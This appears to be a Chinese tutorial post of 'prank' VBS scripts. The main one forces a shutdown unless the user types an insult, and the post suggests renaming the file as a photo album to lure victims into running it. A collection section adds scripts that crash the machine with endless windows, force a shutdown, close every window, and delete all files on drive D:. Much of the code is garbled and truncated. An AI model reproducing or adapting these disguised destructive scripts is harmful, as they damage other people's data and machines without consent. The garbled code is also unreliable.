如何惡搞朋友的電腦？超簡單的vbs代碼

今天給大家帶來一個整人的VBS腳本，對方不說“我是豬”就定時關機的惡搞腳本，如果把他發給你的QQ好友他不懂的話如果不輸“我是豬“” 電腦就會在你設定的時間內關機。我在以下代碼內設定的是3分鐘。

“我是豬”惡搞示範

（01）新建文字文檔，複製代碼。

（02）代碼如下：on error resume nextdim WSHshellAset WSHshellA = teobject("l") " /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，你試試···"" ",0 ,truedim ado while(a <> "我是豬")a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""　","說不說","不說",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，豬"dim WSHshellset WSHshell = teobject("l") " /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

（03）儲存記事本文檔，把txt檔案的後綴名txt改成vbs。可以把名字寫成如“我的相冊”吸引人的字眼。

（04）雙擊執行，檢視效果。

（05）如果不說“我是豬”或者輸入其他字的話，就會重複視窗，直到說“我是豬”爲止。繼而彈出以下視窗：

（06）如果不小心自己點開了，有兩種解決方法：一是的輸入“我是豬”進行解除；二是按Windows+R鍵開啟執行輸入shutdown -a來解除關機命令（注意此時不要點擊正在執行的彈窗的任何按鈕），接着開啟任務管理器找到wscript並結束進程就OK 啦。

vbs整人代碼集合

（01）我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop

（02）開啟無數個計算器，直到死機 ------------------------------------------------------------------------------ set wsh=createobject("l") do "calc" loop

（03）直接關機 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "shutdown -f -s -t 00",0 ,true

（04）刪除D:所有檔案 --------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "cmd /c ""del d:*.* / f /q /s""",0 ,true

（05）按500次回車 (以上代碼在執行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改) dim s do until s=500 s=s+1 msgbox "哥們，給我按500次回車吧",64 loop

（06）不斷按下alt+f4 （開什麼都關閉……） dim WSHshell set WSHshell = teobject("l") while(1) Keys "%{F4}" loop